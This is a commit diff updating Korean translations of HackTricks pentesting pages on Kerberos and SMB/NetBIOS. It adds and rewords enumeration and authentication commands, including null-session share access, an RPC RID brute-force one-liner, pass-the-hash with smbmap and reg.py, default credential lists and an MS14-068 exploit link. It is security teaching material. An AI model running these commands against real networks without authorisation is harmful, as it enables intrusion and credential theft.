mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/file-upload/README.md', 'src/network-ser
This commit is contained in:
parent
b8f201f467
commit
83b11ef2a9
@ -2,22 +2,59 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 기본 정보
|
||||
## Basic Information
|
||||
|
||||
**Kerberos**는 사용자의 리소스 접근을 직접 관리하지 않고 인증하는 원칙에 따라 작동합니다. 이는 프로토콜의 보안 프레임워크에서의 역할을 강조하는 중요한 구분입니다.
|
||||
**Kerberos**는 리소스 접근을 직접 관리하지 않으면서 사용자를 인증하는 원칙으로 동작합니다. 이 점은 프로토콜이 보안 프레임워크에서 맡는 역할을 강조하는 중요한 구별입니다.
|
||||
|
||||
**Active Directory**와 같은 환경에서 **Kerberos**는 비밀 비밀번호를 검증하여 사용자의 신원을 확립하는 데 중요한 역할을 합니다. 이 과정은 각 사용자의 신원이 네트워크 리소스와 상호작용하기 전에 확인되도록 보장합니다. 그러나 **Kerberos**는 특정 리소스나 서비스에 대한 사용자의 권한을 평가하거나 집행하는 기능을 확장하지 않습니다. 대신, 사용자를 인증하는 안전한 방법을 제공하며, 이는 보안 프로세스의 중요한 첫 단계입니다.
|
||||
In environments like **Active Directory**, **Kerberos** is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, **Kerberos** does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
|
||||
|
||||
**Kerberos**에 의한 인증 후, 리소스 접근에 대한 의사 결정 과정은 네트워크 내 개별 서비스에 위임됩니다. 이러한 서비스는 **Kerberos**가 제공하는 사용자 권한에 대한 정보를 바탕으로 인증된 사용자의 권리와 권한을 평가할 책임이 있습니다. 이 설계는 사용자 신원의 인증과 접근 권한 관리 간의 관심사를 분리하여 분산 네트워크에서 리소스 관리를 보다 유연하고 안전하게 접근할 수 있도록 합니다.
|
||||
After authentication by **Kerberos**, the decision-making process regarding access to resources is delegated to individual services within the network. These services are then responsible for evaluating the authenticated user's rights and permissions, based on the information provided by **Kerberos** about the user's privileges. This design allows for a separation of concerns between authenticating the identity of users and managing their access rights, enabling a more flexible and secure approach to resource management in distributed networks.
|
||||
|
||||
**기본 포트:** 88/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
88/tcp open kerberos-sec
|
||||
```
|
||||
### **Kerberos를 악용하는 방법을 배우려면** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**에 대한 게시물을 읽어야 합니다.**
|
||||
### **Kerberos를 악용하는 방법을 배우려면** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
|
||||
|
||||
## 더 알아보기
|
||||
## Kerberos-only 환경: 클라이언트 준비 및 문제해결
|
||||
|
||||
When NTLM is disabled on domain services (SMB/WinRM/etc.), you must authenticate with Kerberos. Common pitfalls and a working workflow:
|
||||
|
||||
- Time synchronization is mandatory. If your host clock is skewed by more than a few minutes you will see `KRB_AP_ERR_SKEW` and all Kerberos auth will fail. Sync against the DC:
|
||||
```bash
|
||||
# quick one-shot sync (requires sudo)
|
||||
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
|
||||
```
|
||||
- 대상 realm/domain에 대한 유효한 krb5.conf를 생성하세요. `netexec` (CME fork)는 SMB 테스트 중에 이를 출력해줄 수 있습니다:
|
||||
```bash
|
||||
# Generate krb5.conf and install it
|
||||
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||
sudo cp krb5.conf /etc/krb5.conf
|
||||
```
|
||||
- TGT를 얻고 ccache를 확인:
|
||||
```bash
|
||||
kinit <user>
|
||||
klist
|
||||
```
|
||||
- Kerberos를 SMB tooling과 함께 사용(비밀번호가 전송되지 않음, ccache 사용):
|
||||
```bash
|
||||
# netexec / CME
|
||||
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
|
||||
# impacket examples also support -k / --no-pass to use the ccache
|
||||
smbclient --kerberos //<dc.fqdn>/IPC$
|
||||
```
|
||||
- GSSAPI SSH single sign-on (OpenSSH에서 Windows OpenSSH server로):
|
||||
```bash
|
||||
# Ensure krb5.conf is correct and you have a TGT (kinit)
|
||||
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
|
||||
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||
```
|
||||
팁:
|
||||
- SSH/SMB로 접속할 정확한 FQDN을 `/etc/hosts`가 해석하도록 설정하고, DNS를 오버라이드하는 경우 이 항목이 베어 도메인 항목보다 먼저 오도록 하세요. SPN 불일치는 GSSAPI를 깨뜨립니다.
|
||||
- SMB에서 NTLM이 비활성화된 경우 NTLM 시도 시 `STATUS_NOT_SUPPORTED`가 표시될 수 있습니다; Kerberos를 강제하려면 `-k`를 추가하세요.
|
||||
|
||||
## 추가
|
||||
|
||||
### Shodan
|
||||
|
||||
@ -25,14 +62,21 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
MS14-068 결함은 공격자가 합법적인 사용자의 Kerberos 로그인 토큰을 조작하여 도메인 관리자와 같은 높은 권한을 잘못 주장할 수 있게 합니다. 이 위조된 주장은 도메인 컨트롤러에 의해 잘못 검증되어 Active Directory 포리스트 전반에 걸쳐 네트워크 리소스에 대한 무단 접근을 가능하게 합니다.
|
||||
MS14-068 취약점은 공격자가 정당한 사용자의 Kerberos 로그인 토큰을 변조하여 Domain Admin 같은 권한 상승을 허위로 주장하게 할 수 있습니다. 이러한 위조된 주장은 Domain Controller에 의해 잘못 검증되어 Active Directory 포리스트 전반의 네트워크 리소스에 대한 무단 접근을 허용합니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
{{#endref}}
|
||||
|
||||
기타 익스플로잇: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
|
||||
## References
|
||||
|
||||
- [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/)
|
||||
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
|
||||
- [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
## HackTricks 자동 명령
|
||||
```
|
||||
|
@ -2,52 +2,52 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **포트 139**
|
||||
## **Port 139**
|
||||
|
||||
The _**Network Basic Input Output System**_** (NetBIOS)** 은 로컬 영역 네트워크(LAN) 내의 애플리케이션, PC 및 데스크톱이 네트워크 하드웨어와 상호작용하고 **네트워크를 통한 데이터 전송을 용이하게 하는** 소프트웨어 프로토콜입니다. NetBIOS 네트워크에서 동작하는 소프트웨어 애플리케이션의 식별 및 위치 확인은 NetBIOS 이름을 통해 이루어지며, 해당 이름은 최대 16자까지 가능하고 종종 컴퓨터 이름과 다릅니다. 두 애플리케이션 간의 NetBIOS 세션은 한 애플리케이션(클라이언트 역할)이 다른 애플리케이션(서버 역할)을 "call" 하도록 명령을 발행할 때 **TCP Port 139**를 이용하여 시작됩니다.
|
||||
The _**Network Basic Input Output System**_** (NetBIOS)**은 로컬 영역 네트워크(LAN) 내의 애플리케이션, PC 및 데스크톱이 네트워크 하드웨어와 상호작용하고 **네트워크 상에서 데이터 전송을 용이하게 하기** 위해 설계된 소프트웨어 프로토콜입니다. NetBIOS 네트워크에서 동작하는 소프트웨어 애플리케이션의 식별 및 위치 파악은 최대 16자까지 허용되는 NetBIOS 이름을 통해 이루어지며, 이 이름은 종종 컴퓨터 이름과 다릅니다. 두 애플리케이션 간의 NetBIOS 세션은 한 애플리케이션(클라이언트 역할)이 다른 애플리케이션(서버 역할)을 "호출"하기 위해 명령을 발행할 때 **TCP Port 139**를 사용하여 시작됩니다.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
기술적으로, Port 139은 ‘NBT over IP’로 불리는 반면, Port 445는 ‘SMB over IP’로 식별됩니다. 약어 **SMB**는 ‘**Server Message Blocks**’를 의미하며, 현대에는 **Common Internet File System (CIFS)**로도 알려져 있습니다. 애플리케이션 계층 네트워크 프로토콜로서 SMB/CIFS는 주로 파일, 프린터, 시리얼 포트에 대한 공유 접근을 가능하게 하고 네트워크 상의 노드 간 다양한 형태의 통신을 촉진하는 데 사용됩니다.
|
||||
Technically, Port 139 is referred to as ‘NBT over IP’, whereas Port 445 is identified as ‘SMB over IP’. The acronym **SMB** stands for ‘**Server Message Blocks**’, which is also modernly known as the **Common Internet File System (CIFS)**. As an application-layer network protocol, SMB/CIFS is primarily utilized to enable shared access to files, printers, serial ports, and facilitate various forms of communication between nodes on a network.
|
||||
|
||||
예를 들어, Windows 맥락에서는 SMB가 포트 445를 통해 TCP/IP 위에서 직접 작동할 수 있어 NetBIOS over TCP/IP가 불필요해진다는 점이 강조됩니다. 반대로 다른 시스템에서는 포트 139의 사용이 관찰되며, 이는 SMB가 NetBIOS over TCP/IP와 함께 실행되고 있음을 나타냅니다.
|
||||
For example, in the context of Windows, it is highlighted that SMB can operate directly over TCP/IP, eliminating the necessity for NetBIOS over TCP/IP, through the utilization of port 445. Conversely, on different systems, the employment of port 139 is observed, indicating that SMB is being executed in conjunction with NetBIOS over TCP/IP.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **access to files**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and **Unix** systems, thereby facilitating cross-platform communication through SMB.
|
||||
**Server Message Block (SMB)** 프로토콜은 **클라이언트-서버** 모델로 동작하며 프린터나 라우터 같은 네트워크 자원뿐만 아니라 **파일 접근**, 디렉터리 등에 대한 접근을 규정하도록 설계되었습니다. 주로 **Windows** 계열 운영체제에서 사용되며, SMB는 하위 호환성을 보장하여 최신 버전의 Microsoft 운영체제를 사용하는 장치가 구버전 장치와 원활히 상호작용할 수 있게 합니다. 또한 **Samba** 프로젝트는 무료 소프트웨어 솔루션을 제공하여 **Linux** 및 Unix 시스템에서 SMB를 구현할 수 있게 하고, 이를 통해 플랫폼 간 통신을 가능하게 합니다.
|
||||
|
||||
Shares, representing **arbitrary parts of the local file system**, can be provided by an SMB server, making the hierarchy visible to a client partly **independent** from the server's actual structure. The **Access Control Lists (ACLs)**, which define **access rights**, allow for **fine-grained control** over user permissions, including attributes like **`execute`**, **`read`**, and **`full access`**. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server.
|
||||
공유(shares)는 로컬 파일 시스템의 **임의의 부분(arbitrary parts of the local file system)** 을 나타내며, SMB 서버가 이를 제공하면 클라이언트에게 보이는 계층 구조가 서버의 실제 구조와 부분적으로 **독립적(independent)** 으로 될 수 있습니다. **Access Control Lists (ACLs)** 는 **접근 권한(access rights)** 을 정의하며 사용자 권한에 대해 **세분화된 제어(fine-grained control)** 를 허용합니다. 여기에는 `execute`, `read`, 및 `full access` 같은 속성이 포함되며, 이러한 권한은 공유별로 개별 사용자나 그룹에 부여될 수 있고 서버에 설정된 로컬 권한과는 구분됩니다.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility `enum4linux` is useful for this purpose. Utilized properly, it enables the acquisition of:
|
||||
IPC$ share에 대한 접근은 익명 null session을 통해 얻을 수 있으며, 이를 통해 named pipes로 노출된 서비스와 상호작용할 수 있습니다. 이 용도로 유용한 유틸리티는 `enum4linux` 입니다. 적절히 사용하면 다음을 얻을 수 있습니다:
|
||||
|
||||
- 운영체제 정보
|
||||
- 상위 도메인 정보
|
||||
- 운영 체제에 대한 정보
|
||||
- 상위 도메인에 대한 세부 정보
|
||||
- 로컬 사용자 및 그룹 목록
|
||||
- 사용 가능한 SMB shares 정보
|
||||
- 사용 가능한 SMB 공유 정보
|
||||
- 적용 중인 시스템 보안 정책
|
||||
|
||||
This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. `enum4linux` provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured.
|
||||
이 기능은 네트워크 관리자와 보안 전문가가 네트워크상의 SMB (Server Message Block) 서비스의 보안 태세를 평가하는 데 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경에 대한 포괄적인 뷰를 제공하므로 잠재적 취약점을 식별하고 SMB 서비스가 적절히 보호되어 있는지 확인하는 데 필수적입니다.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
위 명령은 `enum4linux`를 사용해 `target_ip`로 지정한 대상에 대해 전체 열거를 수행하는 방법의 예입니다.
|
||||
위 명령은 `enum4linux`가 `target_ip`로 지정된 대상에 대해 full enumeration을 수행하는 예시입니다.
|
||||
|
||||
## NTLM이란 무엇인가
|
||||
## NTLM이란
|
||||
|
||||
만약 **NTLM**이 무엇인지 모르거나 그 작동 방식과 악용 방법을 알고 싶다면, **NTLM**에 관한 이 페이지가 매우 흥미로울 것입니다. 이 페이지에는 **이 프로토콜이 어떻게 작동하는지와 이를 어떻게 활용할 수 있는지**가 설명되어 있습니다:
|
||||
NTLM이 무엇인지 모르거나 이 프로토콜이 어떻게 동작하고 어떻게 악용할 수 있는지 알고 싶다면, **NTLM**에 관한 다음 페이지가 매우 흥미로울 것입니다. 이 페이지에서는 **이 프로토콜이 어떻게 동작하고 어떻게 활용할 수 있는지** 설명합니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
{{#endref}}
|
||||
|
||||
## **서버 열거**
|
||||
## **서버 Enumeration**
|
||||
|
||||
### **Scan** 네트워크에서 호스트를 검색:
|
||||
```bash
|
||||
@ -55,9 +55,9 @@ nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB 서버 버전
|
||||
|
||||
SMB 버전에 대한 가능한 익스플로잇을 찾기 위해서는 어떤 버전이 사용 중인지 아는 것이 중요합니다. 이 정보가 다른 도구들에서 나타나지 않는다면, 다음을 사용할 수 있습니다:
|
||||
SMB 버전에 대한 가능한 exploits를 찾으려면, 사용 중인 버전을 아는 것이 중요합니다. 이 정보가 다른 도구에 표시되지 않는다면, 다음을 시도하세요:
|
||||
|
||||
- **MSF** 보조 모듈 `**auxiliary/scanner/smb/smb_version**`
|
||||
- 다음 **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`를 사용하세요.
|
||||
- 또는 이 스크립트:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@ -75,21 +75,21 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **exploit 검색**
|
||||
### **검색 exploit**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **가능한** 자격 증명
|
||||
|
||||
| **사용자 이름(들)** | **일반 비밀번호** |
|
||||
| **Username(s)** | **Common passwords** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(빈칸)_ | _(빈칸)_ |
|
||||
| guest | _(빈칸)_ |
|
||||
| Administrator, admin | _(빈칸)_, password, administrator, admin |
|
||||
| _(blank)_ | _(blank)_ |
|
||||
| guest | _(blank)_ |
|
||||
| Administrator, admin | _(blank)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
|
||||
### Brute Force
|
||||
@ -98,7 +98,7 @@ searchsploit microsoft smb
|
||||
|
||||
### SMB 환경 정보
|
||||
|
||||
### 정보 획득
|
||||
### 정보 수집
|
||||
```bash
|
||||
#Dump interesting information
|
||||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||||
@ -140,7 +140,7 @@ enumdomgroups
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
한 줄 명령
|
||||
원라이너
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
@ -157,13 +157,13 @@ run
|
||||
rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### Linux에서 GUI 연결
|
||||
### GUI connection from linux
|
||||
|
||||
#### 터미널에서:
|
||||
#### In the terminal:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### 파일 브라우저 창에서 (nautilus, thunar 등)
|
||||
#### In file browser window (nautilus, thunar, etc)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
@ -171,7 +171,7 @@ rpcclient-enumeration.md
|
||||
|
||||
### 공유 폴더 나열
|
||||
|
||||
가능한 항목에 접근할 수 있는지 항상 확인하는 것이 좋습니다. 자격 증명이 없는 경우 **null** **credentials/guest user**를 사용해 보세요.
|
||||
항상 무언가에 접근할 수 있는지 확인하세요. credentials가 없다면 **null** **credentials/guest user**를 사용해 보세요.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -197,9 +197,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **수동으로 Windows 공유를 열거하고 연결하기**
|
||||
### **수동으로 windows shares를 열거하고 연결하기**
|
||||
|
||||
호스트 머신의 공유 표시가 제한되어 있어 공유를 나열하려 할 때 연결할 수 있는 공유가 전혀 없는 것처럼 보일 수 있습니다. 따라서 수동으로 공유에 직접 연결을 시도해 보는 것이 좋습니다. 공유를 수동으로 열거하려면 유효한 세션(예: null session 또는 유효한 자격증명)을 사용할 때 NT_STATUS_ACCESS_DENIED 또는 NT_STATUS_BAD_NETWORK_NAME 같은 응답을 확인해 보십시오. 이 응답들은 공유가 존재하지만 접근 권한이 없음을 나타내거나, 공유가 아예 존재하지 않음을 알리는 신호일 수 있습니다.
|
||||
호스트 머신의 shares를 표시하는 것이 제한되어 있어 목록을 확인하면 연결할 수 있는 share가 전혀 없는 것처럼 보일 수 있습니다. 따라서 특정 share에 수동으로 연결을 시도해보는 것이 좋습니다. shares를 수동으로 열거하려면 유효한 세션(예: null session 또는 valid credentials)을 사용할 때 NT_STATUS_ACCESS_DENIED 또는 NT_STATUS_BAD_NETWORK_NAME와 같은 응답을 확인해 보세요. 이러한 응답은 해당 share가 존재하지만 접근 권한이 없음을 나타내거나, 해당 share가 전혀 존재하지 않음을 뜻할 수 있습니다.
|
||||
|
||||
Common share names for windows targets are
|
||||
|
||||
@ -212,14 +212,14 @@ Common share names for windows targets are
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(일반적인 공유 이름 출처: _**Network Security Assessment 3rd edition**_)
|
||||
(Common share names from _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
다음 명령을 사용해 해당 공유에 연결을 시도할 수 있습니다
|
||||
다음 명령을 사용하여 해당 share들에 연결을 시도해볼 수 있습니다
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
또는 이 script (null session을 사용하여)
|
||||
또는 이 스크립트 (null session 사용)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
@ -238,10 +238,10 @@ done
|
||||
```
|
||||
예제
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Windows에서 공유 열거 / 타사 도구 없이**
|
||||
### **Windows에서 shares 열거하기 / 타사 도구 없이**
|
||||
|
||||
PowerShell
|
||||
```bash
|
||||
@ -260,14 +260,14 @@ net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC 스냅인 (그래픽)
|
||||
MMC Snap-in (그래픽 기반)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (graphical)에서 `\\<ip>\`를 입력하여 사용 가능한 non-hidden shares를 확인합니다.
|
||||
explorer.exe (그래픽 인터페이스)에서 `\\<ip>\` 를 입력하면 사용 가능한 non-hidden shares를 볼 수 있습니다.
|
||||
|
||||
### 공유 폴더 마운트
|
||||
```bash
|
||||
@ -276,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **파일 다운로드**
|
||||
|
||||
이전 섹션을 읽어 credentials/Pass-the-Hash를 사용해 연결하는 방법을 알아보세요.
|
||||
이전 섹션을 참조하여 credentials/Pass-the-Hash를 사용해 연결하는 방법을 배우세요.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -293,12 +293,12 @@ smbclient //<IP>/<share>
|
||||
```
|
||||
명령어:
|
||||
|
||||
- mask: 디렉터리 내 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (e.g. "" for all files)
|
||||
- recurse: 재귀 처리를 전환합니다 (기본값: off)
|
||||
- prompt: 파일명 프롬프트를 전환합니다(기본값: on)
|
||||
- mget: 호스트에서 클라이언트 머신으로 마스크에 일치하는 모든 파일을 복사합니다
|
||||
- mask: 디렉터리 내 파일을 필터링하는 데 사용되는 mask를 지정합니다 (예: "" = 모든 파일)
|
||||
- recurse: 재귀 기능을 켜거나 끕니다 (기본값: off)
|
||||
- prompt: 파일명 입력 프롬프트를 끕니다 (기본값: on)
|
||||
- mget: mask와 일치하는 모든 파일을 호스트에서 클라이언트 머신으로 복사합니다
|
||||
|
||||
(_smbclient의 매뉴얼에서 가져온 정보_)
|
||||
(_smbclient의 manpage에서 가져온 정보_)
|
||||
|
||||
### 도메인 공유 폴더 검색
|
||||
|
||||
@ -312,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
공유에서 특히 흥미로운 파일은 **`Registry.xml`**인데, 이 파일은 Group Policy를 통해 **autologon**으로 구성된 사용자들의 **비밀번호를 포함할 수 있습니다**. 또는 자격증명이 들어있는 **`web.config`** 파일들도 있습니다.
|
||||
특히 shares에서 주목할 만한 파일로는 **`Registry.xml`** 가 있는데, 이는 **Group Policy**를 통해 **autologon**으로 구성된 사용자들의 **passwords** 를 포함하고 있을 수 있습니다. 또는 **`web.config`** 파일도 credentials 를 포함하고 있습니다.
|
||||
|
||||
> [!TIP]
|
||||
> **SYSVOL share**는 도메인 내 모든 인증된 사용자에게 **읽기 가능**합니다. 그 안에는 다양한 batch, VBScript, PowerShell **스크립트**들을 **찾을** 수 있습니다.\
|
||||
> 내부의 **스크립트**들을 **확인**해야 합니다. 왜냐하면 **비밀번호**와 같은 민감한 정보가 포함되어 있을 수 있기 때문입니다.
|
||||
> **SYSVOL share** 는 도메인의 모든 인증된 사용자에게 **readable** 합니다. 그 안에서 다양한 batch, VBScript, 그리고 PowerShell **scripts** 를 **find** 할 수 있습니다.\
|
||||
> 그 안의 **scripts** 를 반드시 **check** 해야 합니다 — **passwords** 같은 민감한 정보가 포함되어 있을 수 있습니다.
|
||||
|
||||
## 레지스트리 읽기
|
||||
|
||||
발견한 자격증명을 사용해 **레지스트리를 읽을** 수 있을지도 모릅니다. Impacket **`reg.py`**를 사용해 시도해볼 수 있습니다:
|
||||
발견한 일부 credentials 를 사용하면 **레지스트리** 를 **read** 할 수 있을지도 모릅니다. Impacket **`reg.py`** 를 사용해 시도해볼 수 있습니다:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -328,35 +328,49 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
**Samba** 서버의 **기본 구성**은 보통 `/etc/samba/smb.conf`에 위치하며 몇 가지 **위험한 설정**을 포함할 수 있습니다:
|
||||
The **Samba** 서버의 **기본 설정**은 보통 `/etc/samba/smb.conf`에 위치하며 몇 가지 **위험한 설정**이 있을 수 있습니다:
|
||||
|
||||
| **설정** | **설명** |
|
||||
| **Setting** | **Description** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | 현재 공유에서 사용 가능한 공유를 나열하도록 허용합니까? |
|
||||
| `read only = no` | 파일의 생성 및 수정을 금지합니까? |
|
||||
| `writable = yes` | 사용자가 파일을 생성하고 수정하도록 허용합니까? |
|
||||
| `guest ok = yes` | 비밀번호 없이 서비스에 연결하는 것을 허용합니까? |
|
||||
| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? |
|
||||
| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 부여되어야 합니까? |
|
||||
| `directory mask = 0777` | 새로 생성된 디렉터리에 어떤 권한이 부여되어야 합니까? |
|
||||
| `logon script = script.sh` | 사용자 로그인 시 어떤 스크립트가 실행되어야 합니까? |
|
||||
| `magic script = script.sh` | 스크립트가 종료될 때 어떤 스크립트가 실행되어야 합니까? |
|
||||
| `magic output = script.out` | magic script의 출력이 어디에 저장되어야 합니까? |
|
||||
| `browseable = yes` | 현재 공유에서 사용 가능한 항목들을 나열하도록 허용합니까? |
|
||||
| `read only = no` | 파일 생성 및 수정을 금지합니까? |
|
||||
| `writable = yes` | 사용자가 파일을 생성하고 수정할 수 있도록 허용합니까? |
|
||||
| `guest ok = yes` | 비밀번호 없이 서비스에 연결할 수 있도록 허용합니까? |
|
||||
| `enable privileges = yes` | 특정 SID에 할당된 권한을 적용합니까? |
|
||||
| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 부여되어야 합니까? |
|
||||
| `directory mask = 0777` | 새로 생성된 디렉토리에 어떤 권한이 부여되어야 합니까? |
|
||||
| `logon script = script.sh` | 사용자 로그인 시 어떤 스크립트가 실행되어야 합니까? |
|
||||
| `magic script = script.sh` | 스크립트가 종료될 때 어떤 스크립트가 실행되어야 합니까? |
|
||||
| `magic output = script.out` | magic script의 출력이 어디에 저장되어야 합니까? |
|
||||
|
||||
명령 `smbstatus`는 **서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다.
|
||||
The command `smbstatus` gives information about the **서버** and about **연결된 사용자**.
|
||||
|
||||
## Kerberos를 사용한 인증
|
||||
## Kerberos를 사용해 인증
|
||||
|
||||
도구 **smbclient**와 **rpcclient**를 사용하여 **kerberos**에 **인증**할 수 있습니다:
|
||||
도구 **smbclient**와 **rpcclient**를 사용해 **kerberos**에 **인증**할 수 있습니다:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
Kerberos 전용 환경(NTLM 비활성화)에서는 SMB에 대한 NTLM 시도가 `STATUS_NOT_SUPPORTED`를 반환할 수 있습니다. 일반적인 Kerberos 문제를 해결하고 Kerberos auth를 강제하세요:
|
||||
```bash
|
||||
# sync clock to avoid KRB_AP_ERR_SKEW
|
||||
sudo ntpdate <dc.fqdn>
|
||||
|
||||
